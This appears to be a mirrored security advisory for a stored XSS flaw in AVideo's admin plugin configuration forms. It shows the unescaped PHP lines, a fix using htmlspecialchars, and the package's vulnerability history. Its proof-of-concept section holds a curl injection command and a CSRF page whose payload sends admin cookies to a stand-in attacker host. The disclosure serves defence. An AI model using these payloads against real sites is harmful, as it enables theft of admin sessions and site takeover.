Medium

AVideo has Stored XSS via Unescaped Plugin Configuration Values in Admin Panel

  • Disclosed: 31.03.2026
  • Updated: 11.10.2026 10:22

Summary

The AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.

This vulnerability chains with AVI-046 (CSRF on save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.

Details

The jsonToFormElements() function in admin/functions.php contains multiple unsafe output points where configuration values are rendered without escaping:

Textarea injection (line 47):

php
// admin/functions.php:47
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>";

The $valueJson->value is placed directly between textarea tags without encoding.

Select option injection (line 55):

php
// admin/functions.php:55
$html .= "<option value='{$key}' {$select}>{$value}</option>";

Both $key and $value are inserted without encoding, allowing attribute breakout and HTML injection.

Input type and value injection (lines 62-63):

php
// admin/functions.php:62-63
$html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>";

Both type and value attributes are unescaped, enabling attribute injection.

Fallback input injection (line 75):

php
// admin/functions.php:75
$html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>";

The raw $valueJson string is placed into the value attribute without encoding.

Configuration values are saved via admin/save.json.php, which lacks CSRF token validation.

Proof of Concept

Method 1: Direct exploitation (requires admin session)

bash
# Store XSS payload in a plugin configuration value
# The endpoint uses pluginName and direct field names as parameters
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  -X POST "https://your-avideo-instance.com/admin/save.json.php" \
  -d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"

When any admin visits the plugin configuration page, the payload fires.

Method 2: Cross-origin chain with CSRF (no authentication required)

Create the following HTML page and trick an admin into visiting it:

html
<!DOCTYPE html>
<html>
<head><title>AVI-033 + AVI-046 Chain PoC</title></head>
<body>
<h1>Loading...</h1>
<form id="xss" method="POST"
      action="https://your-avideo-instance.com/admin/save.json.php">
  <input type="hidden" name="name" value="Gallery" />
  <input type="hidden" name="parameter" value="description" />
  <input type="hidden" name="value"
         value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" />
</form>
<script>document.getElementById('xss').submit();</script>
</body>
</html>

The payload breaks out of the value attribute in the rendered input element:

html
<!-- Rendered HTML in admin panel -->
<input class='form-control' type='text'
       value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus=''
       name='description' id='description'/>

Impact

An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:

  • Steal admin session cookies and CSRF tokens

  • Create new admin accounts

  • Modify site configuration (enable file uploads, disable security features)

  • Inject persistent JavaScript into public-facing pages via site-wide settings

  • Pivot to server-side code execution via plugin upload functionality

  • CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

  • Severity: High

Recommended Fix

Apply htmlspecialchars($value, ENT_QUOTES, 'UTF-8') to all user-controlled values rendered in admin/functions.php:

php
// admin/functions.php:47 - textarea content
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "</textarea>";

// admin/functions.php:55 - select option
$html .= "<option value='" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . "' {$select}>" . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . "</option>";

// admin/functions.php:62-63 - input type and value
$html .= "<input class='form-control' type='" . htmlspecialchars($valueJson->type, ENT_QUOTES, 'UTF-8') . "' value='" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";

// admin/functions.php:75 - fallback input
$html .= "<input class='form-control' type='text' value='" . htmlspecialchars($valueJson, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";

Found by aisafe.io

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package wwbn/avideo <= 26.0 no fix

References

CVSS score 6.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness (CWE)
CWE-79
Platform
Composer
Package
wwbn/avideo
Disclosed
31.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-v4h7-3x43-qqw4 - CC BY 4.0

Vulnerability history: wwbn/avideo

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (160) in the archive
Total entries
160
First → latest
04.2022 06.2026
Without a fix
143
Exploited in attacks
0

Severity breakdown

  • Critical 14
  • High 61
  • Medium 83
  • Low 2

Disclosures per year

  1. 2022: 2
  2. 2023: 5
  3. 2024: 5
  4. 2025: 0
  5. 2026: 148
Severity:
  1. High · 9.8 CVE-2026-41304 <= 29.0 no fix
  2. AVideo has Stored XSS via Unescaped Plugin Configuration Values in Admin Panel this entry
    Medium · 6.1 CVE-2026-34396 <= 26.0 no fix
  3. Critical CVE-2026-33867 <= 26.0 no fix
  4. Critical · 9.3 CVE-2026-33502 <= 26.0 no fix
  5. Critical · 9.8 CVE-2024-31819 >= 12.4, < 14.3 14.3
  6. Critical · 9.8 CVE-2023-49599 <= 12.4 no fix
  7. High · 8.8 CVE-2023-32073 <= 12.4 no fix
  8. High · 8.8 CVE-2023-30854 < 12.4 12.4
  9. High ghsa-2fch-hv74-fgw9 < 12.4 12.4
  10. Critical · 9.6 CVE-2023-25313 < 12.4 12.4
  11. High · 8.8 CVE-2020-23489 < 8.9 8.9

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